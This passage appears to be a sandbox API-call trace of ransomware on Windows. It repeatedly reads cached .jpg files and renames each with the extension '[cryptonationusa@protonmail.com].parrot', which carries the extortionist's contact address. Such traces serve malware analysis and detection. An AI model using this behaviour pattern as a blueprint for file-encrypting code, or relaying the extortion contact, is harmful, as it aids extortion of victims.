Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237a40 | out: hHeap=0x5b0000) returned 1 [0083.883] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.883] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.885] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.885] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d32, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2d32, lpOverlapped=0x0) returned 1 [0083.886] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.888] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0083.893] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.893] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.894] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.895] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x85d, lpOverlapped=0x0) returned 1 [0083.895] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.895] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22378c0 | out: hHeap=0x5b0000) returned 1 [0083.899] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.899] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.901] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.901] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x197c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x197c, lpOverlapped=0x0) returned 1 [0083.902] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.902] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0083.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0083.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2238098 | out: hHeap=0x5b0000) returned 1 [0083.905] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.905] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.077] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.078] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb7e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xb7e, lpOverlapped=0x0) returned 1 [0084.078] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.078] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237be0 | out: hHeap=0x5b0000) returned 1 [0084.082] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.082] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.089] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.089] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1b14, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1b14, lpOverlapped=0x0) returned 1 [0084.121] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.122] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2238098 | out: hHeap=0x5b0000) returned 1 [0084.125] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.125] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.135] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.135] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2978, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2978, lpOverlapped=0x0) returned 1 [0084.136] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.137] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRKA[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrka[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0084.142] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.142] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.143] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.143] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b6c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2b6c, lpOverlapped=0x0) returned 1 [0084.144] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.145] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0084.150] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.150] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.152] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.152] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2676, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2676, lpOverlapped=0x0) returned 1 [0084.154] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.155] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefwtu[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0084.159] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.159] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.162] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.162] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb41, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xb41, lpOverlapped=0x0) returned 1 [0084.164] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.164] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfY4X[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefy4x[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237bb0 | out: hHeap=0x5b0000) returned 1 [0084.167] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.167] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.196] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.196] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x25f6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x25f6, lpOverlapped=0x0) returned 1 [0084.197] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.198] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgD9f[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegd9f[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223a0d8 | out: hHeap=0x5b0000) returned 1 [0084.206] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.206] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.207] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.208] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x819, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x819, lpOverlapped=0x0) returned 1 [0084.208] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.208] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgJfz[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegjfz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0084.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2237058 | out: hHeap=0x5b0000) returned 1 [0084.212] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.212] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0084.213] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.213] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x916, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x916, lpOverlapped=0x0) returned 1 [0084.214] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.214] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgsWA[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegswa[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0084.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0084.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 